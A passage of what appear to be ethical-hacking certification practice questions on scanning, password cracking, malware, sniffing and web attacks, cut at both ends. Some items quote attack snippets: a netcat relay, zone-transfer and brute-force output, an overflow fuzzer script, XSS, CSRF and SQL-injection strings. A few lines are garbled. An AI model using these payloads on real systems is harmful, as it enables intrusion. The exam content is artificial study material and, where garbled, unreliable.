B. 10.0.0.253 is performing an IP scan against 10.0.0.2, 10.0.0.252 is performing a port scan against 10.0.0.2.
C. 10.0.0.2 is performing an IP scan against 10.0.0.0/24, 10.0.0.252 is performing a port scan against 10.0.0.2.
D. 10.0.0.252 is performing an IP scan against 10.0.0.2, 10.0.0.252 is performing a port scan against 10.0.0.2.

181. Based on the below log, which of the following sentences are true?
Mar 1, 2016, 7:33:28 AM 10.240.250.23 – 54373 10.249.253.15 – 22 tcp_ip

Application is SSH and 10.240.250.23 is the server and 10.249.253.15 is the client.
SSH communications are encrypted it's impossible to know who is the client or the server.
Application is FTP and 10.240.250.23 is the client and 10.249.253.15 is the server.
Application is SSH and 10.240.250.23 is the client and 10.249.253.15 is the server.
182. A company has five different subnets: 192.168.1.0, 192.168.2.0, 192.168.3.0, 192.168.4.0 and 192.168.5.0. How can NMAP be used to scan these adjacent Class C networks?
A. NMAP -P 192.168.1-5*
B. NMAP -P 192.168.0.0/16 (B can work too)
C. NMAP -P 192.168.1.0, 2.0, 3.0, 4.0, 5.0
D. NMAP -P 192.168.1/17

183. What is the broadcast address for the subnet 190.86.168.0/22?
A. 190.86.168.255
B. 190.86.255.255
C. **190.86.171.255**
D. 190.86.169.255

1010 10XX -> 1010 1011

184. While checking the settings on the internet browser, a technician finds that the proxy server settings have been checked and a computer is trying to use itself as a proxy server. What specific octet within the subnet does the technician see?
A. 10.10.10.10
B. 127.0.0.1
C. 192.168.1.1
D. 192.168.168.168

185. You are an Ethical Hacker who is auditing the ABC company. When you verify the NOC one of the machines has 2 connections, one wired and the other wireless. When you verify the configuration of this Windows system you find two static routes.
route add 10.0.0.0 mask 255.0.0.0 10.0.0.1
route add 0.0.0.0 mask 255.0.0.0 199.168.0.1
What is the main purpose of those static routes?
A. Both static routes indicate that the traffic is external with different gateway.
B. The first static route indicates that the internal traffic will use an external gateway and the second static route indicates that the traffic will be rerouted.
C. Both static routes indicate that the traffic is internal with different gateway.
D. The first static route indicates that the internal addresses are using the internal gateway and the second static route indicates that all the traffic that is not internal must go to an external gateway.

186. The network in ABC company is using the network address 192.168.1.64 with mask 255.255.255.192. In the network the servers are in the addresses 192.168.1.122, 192.168.1.123 and 192.168.1.124.
An attacker is trying to find those servers but he cannot see them in his scanning. The command he is using is:
nmap 192.168.1.64/28
Why he cannot see the servers?
He needs to add the command ""ip address"" just before the IP address
He is scanning from 192.168.1.64 to 192.168.1.78 because of the mask /28 and the servers are not in that range
The network must be down and the nmap command and IP address are ok
He needs to change the address to 192.168.1.0 with the same mask

187. You've just gained root access to a Centos 6 server after days of trying. What tool should you use to maintain access?
A. Disable Key Services
B. Create User Account
C. Download and Install Netcat
D. Disable IPTables

188. A company has publicly hosted web applications and an internal Intranet protected by a firewall. Which technique will help protect against enumeration?
A. Reject all invalid email received via SMTP.
B. Allow full DNS zone transfers.
C. Remove A records for internal hosts.
D. Enable null session pipes.

189. Which of the following tools is used by pen testers and analysts specifically to analyze links between data using link analysis and graphs?
A. Metasploit

B. Wireshark
C. Maltego
D. Cain & Abel

190. Which of the following tools is used to analyze the files produced by several packet-capture programs such as tcpdump, WinDump, Wireshark, and EtherPeek?
A. tcptrace
B. tcptraceroute (A command, not tool)
C. Nessus
D. OpenVAS

191. What is the outcome of the comm"nc -l -p 2222 | nc 10.1.0.43 1234"?
A. Netcat will listen on the 10.1.0.43 interface for 1234 seconds on port 2222.
B. Netcat will listen on port 2222 and output anything received to a remote connection on 10.1.0.43 port 1234.
C. Netcat will listen for a connection from 10.1.0.43 on port 1234 and output anything received to port 2222.
D. Netcat will listen on port 2222 and then output anything received to local interface 10.1.0.43.

192. Look at the following output. What did the hacker accomplish?
; <<>> DiG 9.7.-P1 <<>> axfr domam.com @192.168.1.105
;; global options: +cmd
domain.com (//domain.com). 3600 IN SOA srv1.domain.com (//domain.com). hostsrv1.domain.com (//domain.com). 131 900 600 86400 3600
domain.com (//domain.com). 600 IN A 192.168.1.102
domain.com (//domain.com). 600 IN A 192.168.1.105
domain.com (//domain.com). 3600 IN NS srv1.domain.com (//domain.com).
domain.com (//domain.com). 3600 IN NS srv2.domain.com (//domain.com).
vpn.domain.com. 3600 IN A 192.168.1.1
server.domain.com. 3600 IN A 192.168.1.3
office.domain.com. 3600 IN A 192.168.1.4
remote.domain.com. 3600 IN A 192.168. 1.48
support.domain.com. 3600 IN A 192.168.1.47
ns1.domain.com (//domain.com). 3600 IN A 192.168.1.41
ns2.domain.com (//domain.com). 3600 IN A 192.168.1.42
ns3.domain.com (//domain.com). 3600 IN A 192.168.1.34
ns4.domain.com (//domain.com). 3600 IN A 192.168.1.45
srv1.domain.com (//domain.com). 3600 IN A 192.168.1.102
srv2.domain.com (//domain.com). 1200 IN A 192.168.1.105
domain.com (//domain.com). 3600 INSOA srv1.domain.com (//domain.com). hostsrv1.domain.com (//domain.com). 131 900 600 86400 3600;; Query time: 269 msec
;; SERVER: 192.168.1.105#53(192.168.1.105)
;; WHEN: Sun Aug 11 20:07:59 2013
;; XFR size: 65 records (messages 65, bytes 4501)

A. The hacker used whois to gather publicly available records for the domain.
B. The hacker used the "fierce" tool to brute force the list of available domains.
C. The hacker listed DNS records on his own domain.
D. The hacker successfully transferred the zone and enumerated the hosts.

193. Which command lets a tester enumerate alive systems in a class C network via ICMP using native Windows tools?
A. ping 192.168.2.
B. ping 192.168.2.255
C. for %V in (1 1 255) do PING 192.168.2.%V
D. for /L %V in (1 1 254) do PING -n 1 192.168.2.%V | FIND /I "Reply"

194. During a penetration test, a tester finds a target that is running MS SQL 2000 with default credentials. The tester assumes that the service is running with Local System account. How can this weakness be exploited to access the system?
A. Using the Metasploit psexec module setting the SA / Admin credential
B. Invoking the stored procedure xp_shell to spawn a Windows command shell
C. Invoking the stored procedure cmd_shell to spawn a Windows command shell
D. Invoking the stored procedure xp_cmdshell to spawn a Windows command shell

195. Which of the following techniques will identify if computer files have been changed?
A. Network sniffing
B. Permission sets
C. Integrity checking hashes
D. Firewall alerts

196. Which specific element of security testing is being assured by using hash?
A. Authentication
B. Integrity
C. Confidentiality
D. Availability
197. The company ABC recently contract a new accountant. The accountant will be working with the financial statements. Those financial statements need to be approved by the CFO and then they will be sent to the accountant but the CFO is worried because he wants to be sure that the information sent to the accountant was not modified once he approved it. What of the following options can be useful to ensure the integrity of the data?
The CFO can use a hash algorithm in the document once he approved the financial statements
The document can be sent to the accountant using an exclusive USB for that document
The financial statements can be sent twice, one by email and the other delivered in USB and the accountant can compare both to be sure is the same document
The CFO can use an excel file with a password

198. Which of the following is a hashing algorithm?
A. MD5
B. PGP
C. DES
D. ROT13

199. LM hash is a compromised password hashing function. Which of the following parameters describe LM Hash:?
I – The maximum password length is 14 characters.
II – There are no distinctions between uppercase and lowercase.
III – It's a simple algorithm, so 10,000,000 hashes can be generated per second.

A. I
B. I, II, and III
C. II
D. I and II

200. What statement is true regarding LM hashes?
A. LM hashes consist in 48 hexadecimal characters.
B. LM hashes are based on AES128 cryptographic standard.
C. Uppercase characters in the password are converted to lowercase.
D. LM hashes are not generated when the password length exceeds 15 characters.

201. In cryptanalysis and computer security, 'pass the hash' is a hacking technique that allows an attacker to authenticate to a remote server/service by using the underlying NTLM and/or LanMan hash of a user's password, instead of requiring the associated plaintext password as is normally the case. Metasploit Framework has a module for this technique: psexec. The psexec module is often used by penetration testers to obtain access to a given system that you already know the credentials for. It was written by sysinternals and has been integrated within the framework. Often as penetration testers, successfully gain access to a system through some exploit, use meterpreter to grab the passwords or other methods like fgdump, pwdump, or cachedump and then utilize rainbow tables to crack those hash values. Which of the following is true hash type and sort order that is using in the psexec module's smbpass'?
A. NT:LM
B. LM:NT
C. LM:NTLM
D. NTLM:LM

202. What attack is used to crack passwords by using a precomputed table of hashed passwords?
A. Brute Force Attack
B. Hybrid Attack
C. Rainbow Table Attack
D. Dictionary Attack

203. A company is using Windows Server 2003 for its Active Directory (AD). What is the most efficient way to crack the passwords for the AD users?
A. Perform a dictionary attack.
B. Perform a brute force attack.
C. Perform an attack with a rainbow table.
D. Perform a hybrid attack.

204. Which method of password cracking takes the most time and effort?
Brute force
Dictionary attack

Rainbow tables
Shoulder surfing

205. How can rainbow tables be defeated?
Password salting
Lockout accounts under brute force password cracking attempts
All uppercase character passwords
Use of non-dictionary words

206. A computer science student needs to fill some information into a secured Adobe PDF job application that was received from a prospective employer. Instead of requesting a new document that allowed the forms to be completed, the student decides to write a script that pulls passwords from a list of commonly used passwords to try against the secured PDF until the correct password is found or the list is exhausted. Which cryptography attack is the student attempting?
A. Session hijacking
B. Man-in-the-middle attack
C. Brute-force attack
D. Dictionary attack

207. You have gained physical access to a Windows 2008 R2 server, which has an accessible disc drive. When you attempt to boot the server and log in, you are unable to guess the password. In your toolkit, you have an Ubuntu 9.10 Linux LiveCD. Which Linux-based tool can change any user's password or activate disabled Windows accounts?
Cain & Abel
SET
John the Ripper
CHNTPW

208. A hacker has managed to gain access to a Linux host and stolen the password file from /etc/passwd How can he use it?
He can open it and read the user ids and corresponding passwords.
The password file does not contain the passwords themselves.
He cannot read it because it is encrypted
The file reveals the passwords to the root user only.

209. John the Ripper is a technical assessment tool used to test the weakness of which of the following?
Firewall rulesets
File permissions
Passwords
Usernames

210. There are several ways to gain insight on how a cryptosystem works with the goal of reverse engineering the process. A term describes when two pieces of data result in the same value is?
A. Collision
B. Collusion
C. Polymorphism
D. Escrow

211. What is a "Collision attack" in cryptography?
A. Collision attacks try to find two inputs producing the same hash.
B. Collision attacks try to break the hash into two parts, with the same bytes in each part to get the private key.
C. Collision attacks try to get the public key.
D. Collision attacks try to break the hash into three parts to get the plaintext value.

212. Which property ensures that a hash function will not produce the same hashed value for two different messages?
A. Collision resistance
B. Bit length
C. Key strength
D. Entropy

213. A hacker searches in Google for filetype:pcf to find Cisco VPN config files. Those files may contain connectivity passwords that can be decoded with which of the following?
A. Cupp
B. Nessus
C. Cain and Abel
D. John The Ripper Pro

214. The following is a sample of output from a penetration tester's machine targeting a machine with the IP address of 192.168.1.106:

```
[ATTEMPT] target 192.168.1.106 - login "root" - pass "a" 1 of 20
[ATTEMPT] target 192.168.1.106 - login "root" - pass "123" 2 of 20
[ATTEMPT] target 192.168.1.106 - login "testuser" - pass "a" 3 of 20
[ATTEMPT] target 192.168.1.106 - login "testuser" - pass "123" 4 of 20
[ATTEMPT] target 192.168.1.106 - login "admin" - pass "a" 5 of 20
[ATTEMPT] target 192.168.1.106 - login "admin" - pass "123" 6 of 20
[ATTEMPT] target 192.168.1.106 - login "" - pass "a" 7 of 20
[ATTEMPT] target 192.168.1.106 - login "" - pass "123" 8 of 20
```

What is most likely taking place?
A. Ping sweep of the 192.168.1.106 network
B. Remote service brute force attempt
C. Port scan of 192.168.1.106
D. Denial of service attack on 192.168.1.106

215. Ricardo wants to send secret messages to a competitor company. To secure these messages, he uses a technique of hiding a secret message within an ordinary message. The technique provides 'security through obscurity'. What technique is Ricardo using?
Public-key cryptography
RSA algorithm
Steganography
Encryption

216. Eve stole a file named secret.txt, transferred it to her computer and she just entered these commands:
[eve@localhost ~]$ john secret.txt
Loaded 2 password hashes with no different salts (LM [DES 128/128 SSE2-16])
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:03 3/3 0g/s 86168p/s 86168c/s 172336C/s MERO..SAMPLUI
0g 0:00:00:04 3/3 0g/s 3296Kp/s 3296Kc/s 6592KC/s GOS..KARIS4
0g 0:00:00:07 3/3 0g/s 8154Kp/s 8154Kc/s 16309KC/s NY180K..NY1837
0g 0:00:00:10 3/3 0g/s 7958Kp/s 7958Kc/s 15917KC/s SHAGRN..SHENY9

What is she trying to achieve?
She is encrypting the file.
She is using John the Ripper to crack the passwords in the secret.txt file.
She is using John the Ripper to view the contents of the file.
She is using ftp to transfer the file to another hacker named John.
217. Which of the following is an application that requires a host application for replication?
A. Micro
B. Worm (Operates by itself)
C. Trojan (Spread through user interaction e.g. email attachment)
D. Virus (Rely on host to spread)

218. It is a kind of malware (malicious software) that criminals install on your computer so they can lock it from a remote location. This malware generates a pop-up window, webpage, or email warning from what looks like an official authority. It explains that your computer has been locked because of possible illegal activities on it and demands payment before you can access your files and programs again. What type of malware is it that restricts access to a computer system that it infects and demands that the user pay a certain amount of money, cryptocurrency, etc. to the operators of the malware to remove the restriction?
A. Ransomware
B. Riskware
C. Adware
D. Spyware

219. Which of the following is the best countermeasure to encrypting ransomwares
Ans: Keep some generation of off-line backup

220. Which of the following programs is usually targeted at Microsoft Office products?
A. Polymorphic virus
B. Multipart virus
C. Stealth virus
D. Macro virus

221. A virus that attempts to install itself inside of the file it is infecting is called?
Polymorphic virus
Tunneling virus (Bypass/intercept anti-virus, installing itself)

Stealth virus
Cavity virus (Install itself without damaging program itself)

222. Which of the following viruses tries to hide from anti-virus programs by actively altering and corrupting the chosen service call interruptions when they are being run?
Cavity virus (Install itself without damaging program itself)
Tunneling virus
Polymorphic virus
Stealth virus

223. Which of the following program infects the system boot sector and the executable files at the same time?
Multipartite Virus
Macro virus (Written in macro, infects Microsoft or similar applications)
Polymorphic virus (Self-encrypted virus designed to avoid detection, duplicates itself)
Stealth virus (Hidden computer virus that attacks OS processes and averts anti-virus scans)

224. A hacker has successfully infected an internet-facing server which he will then use to send junk mail, take part in coordinated attacks, or host junk email content.
Which sort of trojan infects this server?
Turtle Trojans
Banking Trojans
Botnet Trojan
Ransomware Trojans

225. A server has been infected by a certain type of Trojan. The hacker intended to utilize it to send and host junk mails. What type of Trojan did the hacker use?
A. Turtle Trojans
B. Ransomware Trojans
C. Botnet Trojan
D. Banking Trojans

226. A botnet can be managed through which of the following?
A. IRC
B. E-Mail
C. Linkedin and Facebook
D. A vulnerable FTP server

227. You are working as a Security Analyst in a company XYZ that owns the whole subnet range of 23.0.0.0/8 and 192.168.0.0/8. While monitoring the data, you find a high number of outbound connections. You see that IP's owned by XYZ (Internal) and private IP's are communicating to a Single Public IP. Therefore, the Internal IP's are sending data to the Public IP. After further analysis, you find out that this Public IP is a blacklisted IP, and the internal communicating devices are compromised.
What kind of attack does the above scenario depict?
Ans: Botnet Attack (Issuing commands to perform malicious activities such as DDoS, sending of spam mail, information theft)

228. Which of the following items of a computer system will an anti-virus program scan for viruses?
A. Boot Sector
B. Deleted Files
C. Windows Process List
D. Password Protected Files

229. Which of the following BEST describes the mechanism of a Boot Sector Virus?
A. Moves the MBR to another location on the hard disk and copies itself to the original location of the MBR (Master Boot Record)
B. Moves the MBR to another location on the RAM and copies itself to the original location of the MBR
C. Overwrites the original MBR and only executes the new virus code
D. Modifies directory table entries so that directory entries point to the virus code instead of the actual program

230. Matthew received an email with an attachment named "YouWon$10Grand.zip." The zip file contains a file named "HowToClaimYourPrize.docx.exe." Out of excitement and curiosity, Matthew opened the said file. Without his knowledge, the file copies itself to Matthew's APPDATA\\IocaI directory and begins to beacon to a Command-and-control server to download additional malicious binaries. What type of malware has Matthew encountered?
A. Key-logger
B. Trojan
C. Worm
D. Macro Virus

231. Jesse receives an email with an attachment labeled "Court_Notice_21206.zip". Inside the zip file is a file named "Court_Notice_21206.docx.exe" disguised as a word document. Upon execution, a window appears stating, "This word document is corrupt." In the background, the file copies itself to Jesse APPDATA\local directory and begins to beacon to a C2 server to download additional malicious binaries.
What type of malware has Jesse encountered?
Trojan
Macro Virus
Worm
Key-Logger

232. Initiating an attack against targeted businesses and organizations, threat actors compromise a carefully selected website by inserting an exploit resulting in malware infection. The attackers run exploits on well-known and trusted sites likely to be visited by their targeted victims. Aside from carefully choosing sites to compromise, these attacks are known to incorporate zero-day exploits that target unpatched vulnerabilities. Thus, the targeted entities are left with little or no defense against these exploits.
What type of attack is outlined in the scenario?
A. Watering Hole Attack (attack a group)
B. Heartbleed Attack
C. Shellshock Attack
D. Spear Phishing Attack

233. Which of the following is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet.
A. Heartbleed Bug
B. POODLE
C. SSL/TLS Renegotiation Vulnerability
D. Shellshock

234. The Heartbleed bug was discovered in 2014 and is widely referred to under MITRE's Common Vulnerabilities and Exposures (CVE) as CVE-2014-0160. This bug affects the OpenSSL implementation of the transport layer security (TLS) protocols defined in RFC6520. What type of key does this bug leave exposed to the Internet making exploitation of any compromised system very easy?
Root
Shared
Public
Private

235. An engineer is learning to write exploits in C++ and is using the exploit tool Backtrack. The engineer wants to compile the newest C++ exploit and name it calc.exe. Which command would the engineer use to accomplish this?
A. g++ hackersExploit.cpp -o calc.exe
B. g++ hackersExploit.py -o calc.exe
C. g++ -i hackersExploit.pl -o calc.exe
D. g++ –compile –i hackersExploit.cpp -o calc.exe

Chandler works as a pen-tester in an IT-firm in New York. As a part of detecting viruses in the systems, he uses a detection method where the anti-virus executes the malicious codes on a virtual machine to simulate CPU and memory activities. Which type of virus detection method did Chandler use in this context?
Ans: Code emulation

236. Rebecca commonly sees an error on her Windows system that states that a Data Execution Prevention (DEP) error has taken place. Which of the following is most likely taking place ?
Malware is executing in either ROM or a cache memory area.
Malicious code is attempting to execute instruction in a non-executable memory region.
A race condition is being exploited, and the operating system is containing the malicious process
A page fault is occurring, which forces the operating system to write data from the hard drive

237. How is sniffing broadly categorized?
A. Active and passive
B. Broadcast and unicast
C. Unmanaged and managed
D. Filtered and unfiltered

238. You need a tool that can do network intrusion prevention and intrusion detection, function as a network sniffer, and record network activity. What tool would you most likely select?
Cain & Abel

Nessus
Nmap
Snort

239. Which of the following identifies the three modes in which Snort can be configured to run?
A. Sniffer, Packet Logger, and Network Intrusion Detection System
B. Sniffer, Network Intrusion Detection System, and Host Intrusion Detection System
C. Sniffer, Host Intrusion Prevention System, and Network Intrusion Prevention System
D. Sniffer, Packet Logger, and Host Intrusion Prevention System

240. This configuration allows NIC to pass all traffic it receives to the Central Processing Unit (CPU), instead of passing only the frames that the controller is intended to receive. Select the option that BEST describes the above statement.
A. Multi-cast mode
B. WEM
C. Promiscuous mode
D. Port forwarding

241. Which of the following is the BEST way to defend against network sniffing?
A. Using encryption protocols to secure network communications
B. Register all machines MAC Address in a Centralized Database
C. Restrict Physical Access to Server Rooms hosting Critical Servers
D. Use Static IP Address

242. Which of the following statements is TRUE?
Sniffers operate on Layer 2 of the OSI model
Sniffers operate on both Layer 2 & Layer 3 of the OSI model
Sniffers operate on the Layer 1 of the OSI model
Sniffers operate on Layer 3 of the OSI model

243. A hacker, who posed as a heating and air conditioning specialist, was able to install a sniffer program in a switched environment network. Which attack could the hacker use to sniff all of the packets in the network?
A. Fraggle (Send UDP traffic to IP broadcast)
B. MAC Flood
C. Smurf
D. Tear Drop

244. When conducting a penetration test, it is crucial to use all means to get all available information about the target network. One of the ways to do that is by sniffing the network. Which of the following cannot be performed by the passive network sniffing?
Identifying operating systems, services, protocols and devices
Collecting unencrypted information about usernames and passwords
Capturing a network traffic for further analysis
Modifying and replaying captured network traffic

245. Which of the following is a form of penetration testing that relies heavily on human interaction and often involves tricking people into breaking normal security procedures?
A. Social Engineering
B. Piggybacking
C. Tailgating
D. Eavesdropping

246. Which of the following is a low-tech way of gaining unauthorized access to systems
Eavesdropping
Sniffing
Scanning
Social engineering

247. You are tasked to perform a penetration test. While you are performing information gathering, you find an employee list in Google. You find the receptionist's email, and you send her an email changing the source email to her boss's email(boss@company). In this email, you ask for a pdf with information. She reads your email and sends back a pdf with links. You exchange the pdf links with your malicious links (these links contain malware) and send back the modified pdf, saying that the links don't work. She reads your email, opens the links, and her machine gets infected. You now have access to the company network.
What testing method did you use?
A. Social engineering

B. Tailgating
C. Piggybacking
D. Eavesdropping

248. A security consultant decides to use multiple layers of anti-virus defense, such as end user desktop anti-virus and E-mail gateway. This approach can be used to mitigate which kind of attack?
A. Forensic attack
B. ARP spoofing attack
C. Social engineering attack
D. Scanning attack

249. When utilizing technical assessment methods to assess the security posture of a network, which of the following techniques would be most effective in determining whether end-user security training would be beneficial?
A. Vulnerability scanning
B. Social engineering
C. Application security testing
D. Network sniffing
250. The company ABC recently discovered that their new product was released by the opposition before their premiere. They contract an investigator who discovered that the maid threw away papers with confidential information about the new product and the opposition found it in the garbage. What is the name of the technique used by the opposition?
A. Hack attack
B. Sniffing
C. Dumpster diving
D. Spying

251. The Open Web Application Security Project (OWASP) is the worldwide not-for-profit charitable organization focused on improving the security of software. What item is the primary concern on OWASP's Top Ten Project Most Critical Web Application Security Risks?
A. Injection
B. Cross Site Scripting
C. Cross Site Request Forgery
D. Path disclosure

252. Which Open Web Application Security Project (OWASP) implements a web application full of known vulnerabilities?
A. WebBugs
B. WebGoat
C. VULN_HTML
D. WebScarab

253. When comparing the testing methodologies of Open Web Application Security Project (OWASP) and Open Source Security Testing Methodology Manual (OSSTMM) the main difference is
A. OWASP is for web applications and OSSTMM does not include web applications.
B. OSSTMM is gray box testing and OWASP is black box testing.
C. OWASP addresses controls and OSSTMM does not.
D. OSSTMM addresses controls and OWASP does not.

254. The Open Web Application Security Project (OWASP) testing methodology addresses the need to secure web applications by providing which one of the following services?
A. An extensible security framework named COBIT
B. A list of flaws and how to fix them
C. Web application patches
D. A security certification for hardened web applications

255. If an e-commerce site was put into a live environment and the programmers failed to remove the secret entry point that was used during the application development, what is this secret entry point known as?
A. SDLC process
B. Honey pot
C. SQL injection
D. Trap door

256. A hacker was able to easily gain access to a website. He was able to log in via the frontend user login form of the website using default or commonly used credentials. This exploitation is an example of what Software design flaw?
A. Insufficient security management
B. Insufficient database hardening
C. Insufficient input validation
D. Insufficient exception handling

257. While performing data validation of web content, a security technician is required to restrict malicious input. Which of the following processes is an efficient way of restricting malicious input?
A. Validate web content input for query strings.
B. Validate web content input with scanning tools.
C. Validate web content input for type, length, and range.
D. Validate web content input for extraneous queries.

258. Code injection is a form of attack in which a malicious user
Inserts text into a data field that gets interpreted as code.
Gains access to the codebase on the server and inserts new code.
Gets the server to execute arbitrary code using a buffer overflow.
Inserts additional code into the JavaScript running in the browser.

259. An attacker has been successfully modifying the purchase price of items purchased on the company's web site. The security administrators verify the web server and Oracle database have not been compromised directly. They have also verified the Intrusion Detection System (IDS) logs and found no attacks that could have caused this. What is the mostly likely way the attacker has been able to modify the purchase price?
A. By using SQL injection
B. By changing hidden form values
C. By using cross site scripting
D. By utilizing a buffer overflow attack

260. While performing online banking using a Web browser, Kyle receives an email that contains an image of a wellcrafted art. Upon clicking the image, a new tab on the web browser opens and shows an animated GIF of bills and coins being swallowed by a crocodile. After several days, Kyle noticed that all his funds on the bank was gone. What Web browser-based security vulnerability got exploited by the hacker?
A. Clickjacking
B. Web Form Input Validation
C. Cross-Site Request Forgery
D. Cross-Site Scripting

261. Cross-site request forgery involves
A browser making a request to a server without the user's knowledge
Modification of a request by a proxy between client and server.
A server making a request to another server without the user's knowledge
A request sent by a malicious user from a browser to a server

262. What type of a vulnerability/attack is it when the malicious person forces the user's browser to send an authenticated request to a server?
Cross-site request forgery
Server side request forgery
Cross-site scripting
Session hijacking

263. Which of the following conditions must be given to allow a tester to exploit a Cross-Site Request Forgery (CSRF) vulnerable web application?
A. The victim user must open the malicious link with an Internet Explorer prior to version 8.
B. The session cookies generated by the application do not have the HttpOnly flag set.
C. The victim user must open the malicious link with a Firefox prior to version 3.
D. The web application should not use random tokens.

264. Identify the web application attack where the attackers exploit vulnerabilities in dynamically generated web pages to inject client-side script into web pages viewed by other users
Cross-Site Scripting (XSS)
Cross-Site Request Forgery (CSRF)
LDAP Injection attack
SQL injection attack

265. A company's Web development team has become aware of a certain type of security vulnerability in their Web software. To mitigate the possibility of this vulnerability being exploited, the team wants to modify the software requirements to disallow users from entering HTML as input into their Web application.
What kind of Web application vulnerability likely exists in their software?
Session management vulnerability
Cross-site Request Forgery vulnerability
Cross-site scripting vulnerability
SQL injection vulnerability

266. While testing the company's web applications, a tester attempts to insert the following test script into the search area on the company's web site:
alert(" Testing Testing Testing ")
Afterwards, when the tester presses the search button, a pop-up box appears on the screen with the text: "Testing Testing Testing". Which vulnerability has been detected in the web application?
A. Buffer overflow
B. Cross-site request forgery
C. Distributed denial of service
D. Cross-site scripting

267. A security analyst in an insurance company is assigned to test a new web application that will be used by clients to help them choose and apply for an insurance plan. The analyst discovers that the application is developed in ASP scripting language and it uses MSSQL as a database backend. The analyst locates the application's search form and introduces the following code in the search input field:
IMG SRC=vbscript:msgbox("Vulnerable");> originalAttribute="SRC" originalPath="vbscript:msgbox ("Vulnerable");>"
When the analyst submits the form, the browser returns a pop-up window that says "Vulnerable".
Which web applications vulnerability did the analyst discover?
A. Cross-site request forgery
B. Command injection
C. Cross-site scripting
D. SQL injection

268. During a penetration test, a tester finds that the web application being analyzed is vulnerable to Cross Site Scripting (XSS). Which of the following conditions must be met to exploit this vulnerability?
A. The web application does not have the secure flag set.
B. The session cookies do not have the HttpOnly flag set.
C. The victim user should not have an endpoint security solution.
D. The victim's browser must have ActiveX technology enabled.

269. An attacker changes the profile information of a particular user (victim) on the target website. The attacker uses this string to update the victim's profile to a text file and then submit the data to the attacker's database.
< iframe src=""http://www.vulnweb.com/updateif.php"&#8221 (http://www.vulnweb.com/updateif.php"&#8221); style=""display:none"" >< /iframe >
What is this type of attack (that can use either HTTP GET or HTTP POST) called?
SQL Injection
Cross-Site Scripting
Browser Hacking
Cross-Site Request Forgery

270. Insecure direct object reference is a type of vulnerability where the application does not verify if the user is authorized to access the internal object via its name or key. Suppose a malicious user Rob tries to get access to the account of a benign user Ned. Which of the following requests best illustrates an attempt to exploit an insecure direct object reference vulnerability
GET /restricted/goldtransferto=Rob&from=1 or 1=1' HTTP1.1Host westbank.com
GET /restricted/bank.getaccount('Ned') HTTP1.1 Host westbank.com
GET /restricted/accounts/?name=Ned HTTP1.1 Host westbank.com
GET /restricted/\r\n\%00account%00Ned%00access HTTP1.1 Host westbank.com

271. Which of the following is the BEST way to protect Personally Identifiable Information (PII) from being exploited due to vulnerabilities of varying web applications?
A. Use cryptographic storage to store all PII
B. Use full disk encryption on all hard drives to protect PII
C. Use encrypted communications protocols to transmit PII
D. Use a security token to log into all Web applications that use PII

272. Which of the following is the BEST approach to prevent Cross-site Scripting (XSS) flaws?
A. Use digital certificates to authenticate a server prior to sending data.
B. Verify access right before allowing access to protected information and UI controls.
C. Verify access right before allowing access to protected information and UI controls.
D. Validate and escape all information sent to a server.

273. A developer for a company is tasked with creating a program that will allow customers to update their billing and shipping information. The billing address field used is limited to 50 characters. What pseudo code would the developer use to avoid a buffer overflow attack on the billing address field?
A. if (billingAddress = 50) {update field} else exit

B. if (billingAddress != 50) {update field} else exit
C. if (billingAddress >= 50) {update field} else exit
D. if (billingAddress <= 50) {update field} else exit

274. A recently hired network security associate at a local bank was given the responsibility to perform daily scans of the internal network to look for unauthorized devices. The employee decides to write a script that will scan the network for unauthorized devices every morning at 5:00 am. Which of the following programming languages would most likely be used?
A. PHP
B. C#
C. Python
D. ASP.NET

275. Which of the following programming languages is most susceptible to buffer overflow attacks, due to its lack of a built-in-bounds checking mechanism?
Code:
#include <string.h>
int main(){
char buffer[8];
strcpy(buffer, ""11111111111111111111111111111"");
}
Output:
Segmentation fault
A. C#
B. Python
C. Java
D. C++

276. #!/usr/bin/python
import socket
buffer=["A"]counter=50
while len(buffer)<=100:
buffer.apend ("A"*counter)
counter=counter+50
commands=
["HELP","STATS.","RTIME.","LTIME.","SRUN.","TRUN.","GMON.","GDOG.","KSTET.","GTER.","HTER.","LTER.
","KSTAN."]
for command in commands:
for buffstring in buffer:
print "Exploiting" +command+":"+str(len(buffstring))
s=socket.socket(socket.AF_INET.socket.SOCK_STREAM)
s.connect(('127.0.0.1',9999))
s.recv(50)
s.send(command+buffstring)
s.close()
What is the code written for?
A. Buffer Overflow
B. Encryption
C. Bruteforce
D. Denial-of-service (Dos)

277. A company's security policy states that all Web browsers must automatically delete their HTTP browser cookies upon terminating. What sort of security breach is this policy attempting to mitigate?
A. Attempts by attackers to access Web sites that trust the Web browser user by stealing the user's authentication credentials.
B. Attempts by attackers to access the user and password information stored in the company's SQL database.
C. Attempts by attackers to access passwords stored on the user's computer without the user's knowledge.
D. Attempts by attackers to determine the user's Web browser usage patterns, including when sites were visited and for how long.

278. While using your bank's online servicing you notice the following string in the URL bar:
"http://www.MyPersonalBank.com/account?id=368940911028389&Damount=10980&Camount=21" You observe that if you modify the Damount & Camount values and submit the request, that data on the web page reflect the changes. Which type of vulnerability is present on this site?
A. Web Parameter Tampering

B. Cookie Tampering
C. XSS Reflection
D. SQL injection

279. What technique is used to perform a Connection Stream Parameter Pollution (CSPP) attack?
A. Injecting parameters into a connection string using semicolons as a separator
B. Inserting malicious Javascript code into input parameters
C. Setting a user's session identifier (SID) to an explicit known value
D. Adding multiple parameters with the same name in HTTP requests

280. When you are testing a web application, it is very useful to employ a proxy tool to save every request and response. You can manually test every request and analyze the response to find vulnerabilities. You can test parameter and headers manually to get more precise results than if using web vulnerability scanners.
What proxy tool will help you find web vulnerabilities?
Dimitry
Proxychains
Burpsuite
Maskgen

281. You are looking for SQL injection vulnerability by sending a special character to web applications. Which of the following is the most useful for quick validation?
Blackslash
Semicolon
Double quotation
Single quotation

282. A tester has been hired to do a web application security test. The tester notices that the site is dynamic and must make use of a back end database. In order for the tester to see if SQL injection is possible, what is the first character that the tester should use to attempt breaking a valid SQL request?
Semicolon
Single quote
Double quote
Exclamation mark

283. What is the best description of SQL Injection?
A. It is an attack used to gain unauthorized access to a database.
B. It is an attack used to modify code in an application.
C. It is a Man-in-the-Middle attack between your SQL Server and Web App Server.
D. It is a Denial of Service Attack.

284. Which of the following is used to indicate a single-line comment in structured query language (SQL)?
A. —
B. ||
C. %%
D. ”

285. Which tool is used to automate SQL injections and exploit a database by forcing a given web application to connect to another database controlled by a hacker?
A. DataThief
B. NetCat
C. Cain and Abel
